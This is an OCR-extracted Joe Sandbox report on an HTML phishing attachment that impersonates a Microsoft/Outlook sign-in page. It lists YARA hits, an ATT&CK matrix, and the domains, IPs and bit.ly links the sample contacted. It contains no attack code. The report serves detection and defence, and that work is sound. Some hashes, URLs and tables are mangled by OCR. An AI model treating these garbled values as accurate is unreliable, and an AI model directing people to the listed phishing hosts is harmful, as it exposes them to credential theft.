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Analysis Report #U266b VM-Tunes-Playback.html
Overview

General Information Detection

Sample #U266b VM-Tunes-
Name: Playback.html MALICIOUS

Analysis ID: 392888

Classification

Multi AV Scanner detection for doma...

Yara detected HtmIPhish44

MD5:
8896aleh844ch0.. Yara detected obfuscated html page
SHA1L:
78b25819b6270e.. Phishing site detected (based on im...
SHAZ256: 7db3772473959c..
HTML titleidoesinot match/ URLE
Infos: ;f pi3 & o

|IP'addressiseeniiniconnection withio:.:
Most interesting Screenshot:

JAB SSLL client fingerprint:seen'in co...

w
«Q

>

2
(=

=

®

(7]

)

None HiITPS page querying sensitivi..

HTMLPhish
68

Score:

Range: 0-100
Whitelisted: false
Confidence: 100%

Startup

= System is w10x64

. G chrome.exe (PID: 5340 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized 'C:\Users\user\Desktop\#U266b VM-Tunes-Playback.html' MD5:
C139654B5C1438A95B321BB01AD63EF6)

. G chrome.exe (PID: 5304 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=

1548,6669016277679539032,18272077399632519590,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1712
Iprefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source Rule Description Author Strings
#U266b VM-Tunes-Playback.html JoeSecurity_Obshtml Yara detected Joe Security

obfuscated html

page
#U266b VM-Tunes-Playback.html JoeSecurity_HtmlPhish_44 Yara detected Joe Security

HtmlIPhish_44

Sigma Overview

No Sigma rule has matched
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Signature Overview

@ AV Detection

@ Phishing

@ Compliance

@ Networking

@ System Summary

@

Click to jump to signature section

AV Detection: | |

Multi AV Scanner detection for domain / URL

Phishing: m

Yara detected HtmIPhish44

Yara detected obfuscated html page

Mitre Att&ck Matrix

Command Remote
Initial Privilege  Defense Credential Lateral and Network Service
Access Execution Persistence Escalation Evasion Access Discovery Movement Collection Exfiltration Control Effects Effects Impact
Valid Windows Path Process Masquerading os System Remote Data from  Exfiltration Encrypted Eavesdrop on Remotely Modify
Accounts Management  Interception Injection Credential Service Services Local Over Other Channel Insecure Track Device System
Instrumentation Dumping  Discovery System Network Network Without Partitior
Medium Communication Authorization
Default  Scheduled Boot or Boot or Process LSASS Application Remote Data from  Exfiltration Non- Exploit SS7 to  Remotely Device
Accounts Task/Job Logon Logon Injection Memory  Window  Desktop Removable Over Application Redirect Phone Wipe Data  Lockoul
Initialization  Initialization Discovery Protocol Media Bluetooth  Layer Calls/SMS Without
Scripts Scripts Protocol Authorization
Domain At (Linux) Logon Script Logon Obfuscated Files Security =~ Query SMB/Windows Data from Automated Application Exploit SS7to Obtain Delete
Accounts (Windows)  Script or Information Account  Registry  Admin Shares Network Exfiltration Layer Track Device  Device Device
(Windows) Manager Shared Protocol @& Location Cloud Data
Drive Backups

Behavior Graph
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1D:
Sample:
Startdate:
Architecture:
Score:

secure aadodn microsotonine-p.com (74

Screenshots

Thumbnails

prda.aadg.msidentity.com .:'4 kamppcnddemoiz.firebaseapp.com (A

-
[1:]

«Q
[}
=
o

Behavior Graph
e o |
#U266b VM-Tunes-Playback.html SUSPICIOUS
19/04/2021 CLEAN
'WINDOWS UNKNOUWN
68

T mnEDEC]

Y

WIEUAL

ERZIC

Phishing site detected ===
(based on image similarity) | I T

o8
D@ 2 i~

unknown

CLOUDFLARENETUS
Un es ES

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

chrome.exe -

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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sl y S
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sl y S

sl y

No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version

by by by X by by fasZ by
No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version

by by

No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version

JEG by by by

sl y sl y sl y

4

sl y by sl y

No bigger version No bigger version No bigger version

VM-Tunes-Playback. X =+

C @ File | C/Users/hardz/Desktop/%23U266b%20VM-Tunes-Playback.htmI?bbre=1618901529410#/1618901529410-!@ &uv8NIe9IRThzwtgiyc7LO5P @! &TrnjDOEp...

B® Microsoft

Trying to sign you in

to continue to Outleok

©2021 Microsoft  Terms of use  Privacy &.cookies

n PM
H ype here to search 0 &

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Copyright Joe Security LLC 2021 Page 7 of 60



Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains
Source Detection Scanner Label Link
N = o e T I 2=
kamppcnddemoiz.firebaseapp.com 0% Virustotal Browse
cs1227.wpc.alphacdn.net 0% Virustotal Browse
URLs
Source Detection Scanner Label Link
hitp://https://assets.onestore.ms/ 0% URL Reputation safe
hitp://https://assets.onestore.ms/ 0% URL Reputation safe
hitp://https://assets.onestore.ms/ 0% URL Reputation safe
hitp://https://logincdn.msauth.net/16.000/content/js/MeControl_cT3-bL3bZ5AAnjmz77cksQ2.js 0% Avira URL Cloud safe
hitp://https://publisher.liveperson.net-_https://publisher.liveperson.net 0% Avira URL Cloud safe
hitp://https://lpcdn.lpsnmedia.net(_https:/Ipcdn.lpsnmedia.net 0% Avira URL Cloud safe
hitp://https://assets.onestore.ms 0% URL Reputation safe
hitp://https://assets.onestore.ms 0% URL Reputation safe
hitp://https://assets.onestore.ms 0% URL Reputation safe
hitp://https://consentreceiverfd-prod.azurefd.net/vl 0% Avira URL Cloud safe
hitp://https://mem.gfx.ms/scripts/me/MeControl/10.21035.1/de-DE/meBoot.min.js 0% Avira URL Cloud safe
hitp://https://secure.aadcdn.microsoftonline-p.com/ests/2.1.6669.4/content/images/favicon_a.ico 0% Avira URL Cloud safe
hitp://https://mem.gfx.ms/meversion?partner=MSHomePage&market=de-ch&uhf=1 0% Avira URL Cloud safe
hitp://https://dns.google 0% URL Reputation safe
hitp://https://dns.google 0% URL Reputation safe
hitp://https://dns.google 0% URL Reputation safe
hitp://https://oem.urll.pw 0% Avira URL Cloud safe
hitp://https://mem.gfx.ms/scripts/me/MeControl/10.21035.1/de-DE/meCore.min.js 0% Avira URL Cloud safe
hitp://https://kamppcnddemoiz.firebaseapp.com 0% Avira URL Cloud safe
hitp://https://sslcnd.aioecoin.org 0% Avira URL Cloud safe
hitp://https://aadcdn.msauth.net 0% URL Reputation safe
hitp://https://aadcdn.msauth.net 0% URL Reputation safe
hitp://https://aadcdn.msauth.net 0% URL Reputation safe

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation
_—-___
kamppcnddemoiz.firebaseapp.com 151.101.1.195 true false e 0%, Virustotal, Browse unknown
microsoftwindows.112.207.net 15.237.76.117 true false high
cdnjs.cloudflare.com 104.16.18.94 true false high

bit.ly 67.199.248.11 true false high
dhly47vfbttia.cloudfront.net 13.32.25.13 true false high
cs1227.wpc.alphacdn.net 192.229.221.185 true false e 0%, Virustotal, Browse unknown
mcraa.fs.liveperson.com 34.234.50.33 true false high
liveperson.map.fastly.net 151.101.1.192 true false unknown
unpkg.com 104.16.124.175 true false high
googlehosted.l.googleusercontent.com 216.58.212.129 true false high
sslcnd.aioecoin.org 172.67.176.224 true false unknown
logincdn.msauth.net unknown unknown false unknown
Ipcdn.Ipsnmedia.net unknown unknown false high
consentreceiverfd-prod.azurefd.net unknown unknown false unknown
accdn.lpsnmedia.net unknown unknown false high
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https://www.virustotal.com/gui/url/8e005d820519ffa1ae10165b31066055a5a2fb42d7c1cce349a23a921615ab89/detection/u-8e005d820519ffa1ae10165b31066055a5a2fb42d7c1cce349a23a921615ab89-1618801318
https://www.virustotal.com/gui/url/4f0f75c2add185a197aa37b2e13f832f7f1f4c8fddba6aa7cb140f6ae9867622/detection/u-4f0f75c2add185a197aa37b2e13f832f7f1f4c8fddba6aa7cb140f6ae9867622-1618585506
https://www.virustotal.com/gui/url/e07863bd42cf248ee6c691a2a0bddc0fe6f3c99848c84447ad878d9a5a2aa072/detection/u-e07863bd42cf248ee6c691a2a0bddc0fe6f3c99848c84447ad878d9a5a2aa072-1602120053
https://www.virustotal.com/gui/url/8e005d820519ffa1ae10165b31066055a5a2fb42d7c1cce349a23a921615ab89/detection/u-8e005d820519ffa1ae10165b31066055a5a2fb42d7c1cce349a23a921615ab89-1618801318
https://www.virustotal.com/gui/url/4f0f75c2add185a197aa37b2e13f832f7f1f4c8fddba6aa7cb140f6ae9867622/detection/u-4f0f75c2add185a197aa37b2e13f832f7f1f4c8fddba6aa7cb140f6ae9867622-1618585506
https://www.virustotal.com/gui/url/e07863bd42cf248ee6c691a2a0bddc0fe6f3c99848c84447ad878d9a5a2aa072/detection/u-e07863bd42cf248ee6c691a2a0bddc0fe6f3c99848c84447ad878d9a5a2aa072-1602120053

Name P

va.v.liveperson.net unknown
aadcdn.msauth.net unknown
assets.onestore.ms unknown
ajax.aspnetcdn.com unknown
static-assets.fs.liveperson.com unknown
mem.gfx.ms unknown
clients2.googleusercontent.com unknown
secure.aadcdn.microsoftonline-p.com unknown
publisher.liveperson.net unknown
Iptag.liveperson.net unknown

Contacted URLs

Name

hitp://https://publisher.liveperson.net/iframe-le-tag/iframe.html|?

Active

unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Malicious

false

Ipsite=60270350&Ipsection=store-sales-de-ch&buttons=IpChatService,I[pChatSales

URLs from Memory and Binaries

Name

hitp://https://assets.onestore.ms/

hitp:/
https://logincdn.msauth.net/16.000/content/js/MeControl_cT3-
bL3bZ5AANjMz77cksQ2.js

hitp://https://lpcdn.lpsnmedia.net/le_re/3.45.1.4-
release_5061/jsv2/UISuite.js?_v=3.45.1.4-release_5061

hitp://https://liveperson.net/oe

hitp://https://publisher.liveperson.net-
_https://publisher.liveperson.net

hitp://https://lpcdn.lpsnmedia.net(_https:/Ipcdn.lpsnmedia.net
hitp://https://unpkg.com

hitp://https://lpcdn.lpsnmedia.net//

hitp://https://a.nel.cloudflare.com/report?
s=BZV83GSY9t52A8Pv05JIvtUSjpaQEzIlaZM6%2B2s4rQqxVT
FIMWaWMwiDmmwCvz

hitp://https://assets.onestore.ms

hitp://https://publisher.liveperson.net/
hitp://https://bit.ly/36bzVan
hitp://https://bit.ly/36bzVand
hitp://https://consentreceiverfd-prod.azurefd.net/vl

hitp:/
https://mem.gfx.ms/scripts/me/MeControl/10.21035.1/de-
DE/meBoot.min.js

hitp:/
https://accdn.lpsnmedia.net/api/account/60270350/configuratio
n/setting/accountproperties/?cb=IpCbh531

hitp://https://ajax.aspnetcdn.com/ajax/jQuery/jquery-
1.7.2.min.js

hitp://https://secure.aadcdn.microsoftonline-
p.com/ests/2.1.6669.4/content/images/favicon_a.ico

hitp:/
https://accdn.lpsnmedia.net/api/account/60270350/configuratio
n/le-campaigns/zones?fields=id&fields=z

hitp://https://liveperson.net/2
hitp://https://lpcdn.lpsnmedia.net/
hitp://https://live.com/

hitp://https://publisher.liveperson.net/iframe-le-
tag/iframe.html|?Ipsite=60270350&Ipsection=store-sales-de-

hitp://https://lpcdn.lpsnmedia.net/le_secure_storage/3.12.0.0-
release_5037/storage.secure.min.html?loc=http

hitp://https://bit.ly/36bzVanMicrosoft

hitp://https://publisher.liveperson.net//
Copyright Joe Security LLC 2021

Source

Network Action Predictor-journal.0.dr

38c7c19d1d0ee3c7_0.0.dr

94ac35bc6015ee2c_0.0.dr

806da29bd455460d_0.0.dr
000003.l0g3.0.dr

000003.l0g3.0.dr

5ccba7b0-ffaa-497b-9458-1cbfd5
298559.tmp.1.dr, 10a8fa7e-7e68-4d0d-

817b-6f2cdc880d7c.tmp.1.dr, 495d2c21-
6e51-4ebc-b7e4-4eb9cd382act.tmp.1.dr

QuotaManager.0.dr
Reporting and NEL.1.dr

10a8fa7e-7e68-4d0d-817b-6f2cdc
880d7c.tmp.1.dr

QuotaManager.0.dr, 000003.l0g0.0.dr
Current Session.0.dr

Current Session.0.dr
1e6171275c40fle4_0.0.dr
6686b0c92e7fc912_0.0.dr

806da29bd455460d_0.0.dr

27e50e06ba23059b_0.0.dr, f46ad
1d2652b0b43_0.0.dr

Favicons-journal.0.dr
72090e93af2b3d0c_0.0.dr
6911ce7d6805bcdf_0.0.dr
QuotaManager.0.dr, 000003.l0g0.0.dr

38c7c19d1d0ee3c7_0.0.dr

Current Session.0.dr

Current Session.0.dr

History-journal.0.dr
QuotaManager.0.dr

Malicious
false
false
false
false
false
false
false
false
false

false

Antivirus Detection

Antivirus Detection

Malicious

false

false

false

false

false

false

false

false

false

false

false
false
false
false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

Avira URL Cloud: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

Avira URL Cloud: safe
Avira URL Cloud: safe

e Avira URL Cloud: safe

Reputation
high
unknown
unknown
high

high
unknown
high
unknown
high

high

Reputation

high

Reputation

unknown

unknown

high

high

low

low

high

high
high

unknown

high
high
high
unknown

unknown

high

high
unknown
high
high
high

high
high

high
high

high
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Name Source Malicious Antivirus Detection Reputation
hitp://https://cdnjs.cloudflare.com 5ccha7b0-ffaa-497b-9458-1cbfd5 false high
298559.tmp.1.dr, 10a8fa7e-7e68-4d0d-
817b-6f2cdc880d7c.tmp.1.dr, 495d2c21-
6e51-4ebc-b7e4-4eb9cd382act.tmp.1.dr
hitp://https://publisher.liveperson.net Current Session.0.dr false high

hitp:// 6911ce7d6805bcdf_0.0.dr false high
https://accdn.lpsnmedia.net/api/account/60270350/configuratio
n/le-campaigns/campaigns/1644274130/eng

hitp://https://mem.gfx.ms/meversion? e4b9b26cef092fbf_0.0.dr false e Avira URL Cloud: safe unknown
partner=MSHomePage&market=de-ch&uhf=1
hitp://https://lpcdn.lpsnmedia.net/le_secure_storage/3.12.0.0- 5db4ad138a5b020e_0.0.dr false high
release_5037/storage.secure.min.js?loc=https%
hitp://https://dns.google 5cfdfa3a-2490-4047-87aa-d0d82c false URL Reputation: safe unknown
426968.tmp.1.dr, 5ccha7b0-ffaa-497b- URL Reputation: safe
9458-1cbfd5298559.tmp.1.dr, 10a8fa7e- URL Reputation: safe
7e68-4d0d-817b-6f2cdc880d7c.tmp.1.dr,
e3232e3a-b50a-47ae-9e0a-7bb85
ff13411.tmp.1.dr, 495d2c21-6e51-4ebc-
b7e4-4eb9cd382acf.tmp.1.dr, 526021b7-
1ced-42c5-b4a9-2¢c4f87353d26.tmp.1.dr,
fcae8807-b2e2-432b-8787-5890
4059445a.tmp.1.dr, d7824da9-0Oeea-
43dc-aclc-ebc9b163c9dc.tmp.1.dr
hitp:// a30fc148fc1e2336_0.0.dr false high
https://accdn.lpsnmedia.net/api/account/60270350/configuratio
n/le-campaigns/campaigns/1768650730/eng
hitp://https://bit.ly 5ccba7b0-ffaa-497b-9458-1cbfd5 false high
298559.tmp.1.dr, 10a8fa7e-7e68-4d0d-
817b-6f2cdc880d7c.tmp.1.dr, 495d2c21-
6e51-4ebc-b7e4-4eb9cd382act.tmp.1.dr
hitp://https://lpcdn.lpsnmedia.net 000003.l0g3.0.dr false high
hitp://https://a.nel.cloudflare.com/report? Reporting and NEL.1.dr false high
s=WORNTse85ScQoD2J%2BFTalRG01TCzDu%2FxblaL6EMO
bjaF%2BuJ295NPXt6M
hitp://https://liveperson.net/ 5db4ad138a5b020e_0.0.dr, 22fb0 false high

e€1969c285c1_0.0.dr

hitp/;

hitp:// ¢15539f7824102b7_0.0.dr, e8b20 false high
https://accdn.lpsnmedia.net/api/account/60270350/configuratio 31716f41f1b_0.0.dr
n/engagement-window/window-confs/164451

hitp://https://ajax.aspnetcdn.com/ajax/jQuery/jquery- 094e2d6bf2abec98_0.0.dr false high
1.11.2.min.js

hitp://https://bit.ly/3sO6Ew2Microsoft History-journal.0.dr false high
hitp://https://a.nel.cloudflare.com/report? Reporting and NEL.1.dr false high
s=TtCTRVGBR69MruerW%2Br3yGfeB4q%2B6IKytD2GwaCk

1HggFxh5QzW6YKle2h

hitp://https://ajax.aspnetcdn.com/ajax/jQuery/jquery- 27e50e06ba23059h_0.0.dr false high
1.7.2.min.jsaD

hitp://https://ajax.aspnetcdn.com/ Network Action Predictor-journal.0.dr false high
hitp:// 72c95bbf6fafcc43_0.0.dr false high
https://accdn.lpsnmedia.net/api/account/60270350/configuratio

n/setting/accountproperties/?cb=IpCbh153

hitp://https://bit.ly/3sO6Ew2 Current Session.0.dr false high
hitp:// 0481116f3cd8293f_0.0.dr false e Avira URL Cloud: safe unknown
https://mem.gfx.ms/scripts/me/MeControl/10.21035.1/de-

DE/meCore.min.js

hitp://https://kamppcnddemoiz.firebaseapp.com 5ccba7b0-ffaa-497b-9458-1cbfd5 false e Avira URL Cloud: safe unknown

298559.tmp.1.dr, 10a8fa7e-7e68-4d0d-
817b-6f2cdc880d7c.tmp.1.dr, 495d2c21-
6e51-4ebc-b7e4-4eb9cd382act.tmp.1.dr

hitp://https://lpcdn.lpsnmedia.net/le_re/3.45.1.4- 6ab11d413e2bdb41_0.0.dr false high
release_5061/jsv2/overlay.js?_v=3.45.1.4-release_5061
hitp://https://clients2.googleusercontent.com 5cfdfa3a-2490-4047-87aa-d0d82c false high

426968.tmp.1.dr, 5ccha7b0-ffaa-497b-
9458-1cbfd5298559.tmp.1.dr, 10a8fa7e-
7e68-4d0d-817b-6f2cdc880d7c.tmp.1.dr,
495d2c21-6e51-4ebc-b7e4-4eb9c

d382acf.tmp.1.dr
hitp://https://sslcnd.aioecoin.org 5ccha7b0-ffaa-497b-9458-1cbfd5 false e Avira URL Cloud: safe unknown
298559.tmp.1.dr, 10a8fa7e-7e68-4d0d-
817b-6f2cdc880d7c.tmp.1.dr, 495d2c21-
6e51-4ebc-b7e4-4eb9cd382act.tmp.1.dr
hitp://https://static- 3b99dc3d3bc104fb_0.0.dr false high
assets.fs.liveperson.com/microsoft/lp_ada_enhancements-
prod.js
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Name

hitp://https://aadcdn.msauth.net

hitp://https://feedback.googleusercontent.com

hitp:iy

https://Iptag.liveperson.net/Iptag/api/account/60270350/configu

ration/applications/taglets/.jsonp?v=

hitp://https://Iptag.liveperson.net/tag/tag.js?site=60270350

Contacted IPs

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public

IP
172.67.176.224
151.101.1.195

216.58.212.129

151.101.1.192
104.16.124.175
104.16.18.94
67.199.248.11

34.234.50.33
239.255.255.250
192.229.221.185
13.32.25.13

104.21.72.95
15.237.76.117

Private

IP
192.168.2.1
127.0.0.1

Domain

sslcnd.aioecoin.org

kamppcnddemoiz.firebase

app.com

googlehosted.l.googleuser

content.com
liveperson.map.fastly.net
unpkg.com
cdnjs.cloudflare.com

bit.ly

mcraa.fs.liveperson.com
unknown

cs1227.wpc.alphacdn.net

dhly47vf5ttia.cloudfront.ne

t

oem.urll.pw

Source

5ccba7b0-ffaa-497b-9458-1cbfd5
298559.tmp.1.dr, 10a8fa7e-7e68-4d0d-
817b-6f2cdc880d7c.tmp.1.dr, 495d2c21-
6e51-4ebc-b7e4-4eb9cd382acf.tmp.1.dr

manifest.json0.0.dr

43fb384703621b6c_0.0.dr, 9cd65
7817e50f6a9_0.0.dr

22fb0e1969¢285c1_0.0.dr

Country

United States
United States

United States

United States
United States
United States
United States

United States
Reserved

United States
United States

United States

microsoftwindows.112.207. United States

net

Copyright Joe Security LLC 2021

i

1

0

I

Malicious

false

false

false

false

Antivirus Detection

ASN
13335
54113

15169

54113
13335
13335
396982

14618
unknown
15133
7018

13335
16509

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

Reputation

unknown

high

high

high
ASN Name Malicious
CLOUDFLARENETUS false
FASTLYUS false
GOOGLEUS false
FASTLYUS false
CLOUDFLARENETUS false
CLOUDFLARENETUS false
GOOGLE-PRIVATE- false
CLOUDUS
AMAZON-AESUS false
unknown false
EDGECASTUS false
ATT-INTERNET4US false
CLOUDFLARENETUS true
AMAZON-02US false
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General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:
Number of new started drivers analysed:

Number of existing processes analysed:

Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

Cookbook Comments:

Warnings:

Copyright Joe Security LLC 2021

31.0.0 Emerald

392888

19.04.2021

23:51:18

CloudBasic

Oh 12m 32s

false

light

#U266b VM-Tunes-Playback.html
default.jbs

Windows 10 64 bit v1803 with Office Professional Plus
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8
Update 211

40
0
0
0
0

e HCA enabled
e EGA enabled
e HDC enabled
* AMSI enabled

default

Timeout

MAL
mal68.phis.winHTML@50/269@24/15

e Adjust boot time

e Enable AMSI

e Found application associated with file extension:
_html

e Browse: https:/bit.ly/3sO6EwW2

e Browse: https:/bit.ly/36bzVan

e Browse: https://www.microsoft.com/en-
us/servicesagreement/

e Browse: https://go.microsoft.com/fwlink/?
Linkld=521839

e Browse: https://www.microsoft.com/

Show All

e Exclude process from analysis (whitelisted):
taskhostw.exe, MpCmdRun.exe, audiodg.exe,
BackgroundTransferHost.exe, WMIADAP.exe,
MusNotifylcon.exe, backgroundTaskHost.exe,
SgrmBroker.exe, conhost.exe, svchost.exe,
wuapihost.exe

e TCP Packets have been reduced to 100

e Created / dropped Files have been reduced to 100

e Excluded IPs from analysis (whitelisted):
40.88.32.150, 52.255.188.83, 92.122.145.220,
142.250.186.35, 142.250.185.142,
142.250.185.205, 142.250.186.142,
173.194.187.138, 74.125.13.231, 142.250.185.74,
13.107.246.19, 13.107.213.19, 92.123.151.195,
93.184.220.29, 40.126.31.6, 20.190.159.134,
40.126.31.135, 40.126.31.139, 40.126.31.143,
40.126.31.141, 20.190.159.138, 40.126.31.1,
88.221.62.148, 92.122.145.53, 216.58.212.138,
172.217.16.138, 142.250.185.106,
142.250.185.170, 142.250.185.202,
142.250.185.234, 142.250.185.138,
216.58.212.170, 142.250.74.202, 142.250.186.42,
142.250.186.74, 142.250.186.106,
142.250.186.138, 142.250.186.170,
172.217.18.106, 92.122.213.200, 92.122.213.219,
184.30.21.171, 152.199.19.160, 92.122.213.247,
92.122.213.194, 92.122.213.240, 84.53.167.109,
184.30.20.56, 20.82.210.154, 205.185.216.10,
205.185.216.42, 142.250.186.131,
173.194.164.170, 142.250.186.163, 74.125.11.105,
65.55.44.109, 2.17.183.50, 178.249.97.23,
93.184.221.240, 20.190.160.2, 20.190.160.75,
20.190.160.132, 20.190.160.73, 20.190.160.136,
20.190.160.69, 20.190.160.6, 20.190.160.134,
178.249.97.99, 84.53.167.113, 2.17.179.193,
178.249.97.98, 208.89.12.87, 74.125.173.137,
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20.54.26.129, 173.194.182.102, 20.49.157.6,
173.194.182.200, 173.194.151.107,
173.194.151.89, 173.194.188.104, 52.155.217.156,
173.194.188.8, 173.194.163.71, 173.194.187.70,
74.125.104.91, 173.194.165.168, 20.190.160.129,
20.190.160.67, 20.49.150.241, 51.104.136.2,
40.127.240.158
Excluded domains from analysis (whitelisted):
standard.t-0009.t-msedge.net,
assets.onestore.ms.edgekey.net,
clientservices.googleapis.com, i.s-
microsoft.com.edgekey.net,
publisher.livepersonk.akadns.net, fs-
wildcard.microsoft.com.edgekey.net,
cdn.onenote.net.edgekey.net,
al945.g2.akamai.net,
skypedataprdcoleus15.cloudapp.net,
clients2.google.com, r2---sn-4g5e6nzs.gvtl.com,
r2.sn-4g5edney.gvtl.com, statics-marketingsites-
eus-ms-com.akamaized.net, r3.sn-
4g5ednss.gvtl.com, au-bg-shim.trafficmanager.net,
r3.sn-4g5edns7.gvtl.com, ris-
prod.trafficmanager.net,
lgincdnvzeuno.ec.azureedge.net,
assets.onestore.ms.akadns.net, c-
s.cms.ms.akadns.net, settingsfd-
geo.trafficmanager.net, ris.api.iris.microsoft.com,
Igincdn.trafficmanager.net, t-0009.t-msedge.net,
cdn.account.microsoft.com.akadns.net,
translate.googleapis.com,
e1553.dspg.akamaiedge.net, c.s-microsoft.com-
c.edgekey.net, clients.l.google.com, r1---sn-
4g5ednls.gvtl.com, rl1---sn-4g5ednld.gvtl.com,
r5.sn-4g5e6ne6.gvtl.com, r4.sn-
4g5ednsy.gvtl.com, i.s-microsoft.com,
e15275.g.akamaiedge.net, consumerrp-
displaycatalog-aks2eap-
europe.md.mp.microsoft.com.akadns.net, r4---sn-
4g5edned.gvtl.com,
db5eap.displaycatalog.md.mp.microsoft.com.akadn
s.net, e12564.dspb.akamaiedge.net,
go.microsoft.com, dual.t-0009.t-msedge.net,
e13761.dscg.akamaiedge.net,
arc.trafficmanager.net,
prod.fs.microsoft.com.akadns.net, wu.wpc.apr-
52dd2.edgecastdns.net, cdn.onenote.net,
geo.accdn.livepersonk.akadns.net, displaycatalog-
europeeap.md.mp.microsoft.com.akadns.net,
accounts.google.com, r2.sn-4g5e6nzs.gvtl.com,
cs22.wpc.vOcdn.net, mem.gfx.ms.edgekey.net,
wu.ec.azureedge.net, tile-
service.weather.microsoft.com, rl.sn-
4g5e6nsk.gvtl.com, cds.d2s7g6s2.hwedn.net,
firstparty-azurefd-prod.trafficmanager.net,
login.msa.msidentity.com,
Iptag.liveperson.cotcdb.net.livepersonk.akadns.net,
c.s-microsoft.com, r4---sn-4g5e6nzl.gvtl.com,
go.microsoft.com.edgekey.net,
az725175.vo.msecnd.net,
e13678.dspb.akamaiedge.net, displaycatalog-
rp.md.mp.microsoft.com.akadns.net,
wcpstatic.microsoft.com, r3---sn-
4g5ednss.gvtl.com, cs9.wac.phicdn.net,
arc.msn.com.nsatc.net,
e13678.dsch.akamaiedge.net, ri1---sn-
4g5e6nsk.gvtl.com,
www.tm.lg.prod.aadmsa.akadns.net, r5---sn-
4g5ednle.gvtl.com, e11290.dspg.akamaiedge.net,
www.microsoft.com-c-3.edgekey.net,
ocsp.digicert.com,
geo.lpcdn.livepersonk.akadns.net, login.live.com,
wildcard.weather.microsoft.com.edgekey.net,
audownload.windowsupdate.nsatc.net,
au.download.windowsupdate.com.hwcdn.net,
update.googleapis.com, hlb.apr-52dd2-
0.edgecastdns.net, r3.sn-4g5e6nss.gvtl.com,
watson.telemetry.microsoft.com, www.gstatic.com,
al778.g2.akamai.net,
e10583.dspg.akamaiedge.net, fs.microsoft.com,
ajax.googleapis.com,
aadcdnoriginwus2.azureedge.net, displaycatalog-
rp-europe.md.mp.microsoft.com.akadns.net,
secure.aadcdn.microsoftonline-p.com.edgekey.net,
geo.va-v.livepersonk.akadns.net, r2---sn-
4g5edney.gvtl.com,
www.tm.a.prd.aadg.akadns.net, statics-
marketingsites-wcus-ms-com.akamaized.net,
www.googleapis.com, r5---sn-4g5e6nsy.gvtl.com,
r4.sn-4g5edned.gvtl.com,
web.vortex.data.trafficmanager.net,
e55.dspb.akamaiedge.net, r3---sn-
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Simulations

Behavior and APIs

Time

23:52:20

API Interceptor

Type Description

Joe Sandbox View | Context

IPs

Match
172.67.176.224

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

3x Sleep call for process: chrome.exe modified

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

4g5edns7.gvtl.com, store-images.s-microsoft.com,
blobcollector.events.data.trafficmanager.net, r5---
sn-4g5e6ne6.gvtl.com,
aadcdnoriginwus2.afd.azureedge.net, r3---sn-
4g5e6nez.gvtl.com,
privacy.microsoft.com.edgekey.net,
www.tm.lg.prod.aadmsa.trafficmanager.net, r4.sn-
4g5e6nzl.gvtl.com, store-images.s-microsoft.com-
c.edgekey.net, a1449.dscg2.akamai.net, fs-
wildcard.microsoft.com.edgekey.net.globalredir.aka
dns.net, arc.msn.com, wu.azureedge.net, r3.sn-
4g5e6nez.gvtl.com, www.microsoft.com-c-
3.edgekey.net.globalredir.akadns.net,
mscomajax.vo.msecnd.net, redirector.gvtl.com,
csll.wpc.vOcdn.net,
displaycatalog.mp.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net, r5.sn-
4g5e6nsy.gvtl.com, r4---sn-4g5ednsy.gvtl.com, r3-
--sn-4g5e6nss.gvtl.com, rl.sn-4g5ednls.gvtl.com,
rl.sn-4g5ednld.gvtl.com, r5.sn-4g5ednle.gvtl.com,
e1723.g.akamaiedge.net,
ctldl.windowsupdate.com, settings-
win.data.microsoft.com,
web.vortex.data.microsoft.com,
Igincdnvzeuno.azureedge.net,
skypedataprdcoleus17.cloudapp.net,
privacy.microsoft.com, Edge-Prod-FRAr3.ctrl.t-
0009.t-msedge.net, e13678.dscg.akamaiedge.net,
www.microsoft.com

Report size exceeded maximum capacity and may
have missing behavior information.

Report size getting too big, too many NtCreateFile
calls found.

Report size getting too big, too many NtOpenFile
calls found.

Report size getting too big, too many
NtQueryVolumelnformationFile calls found.

Report size getting too big, too many NtWriteFile
calls found.

Report size getting too big, too many
NtWriteVirtualMemory calls found.

Link Context
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse
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https://view.joesandbox.com/analysis/293240/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/293240/html/none?idtype=webid
https://view.joesandbox.com/analysis/292647/html/none?idtype=webid#static
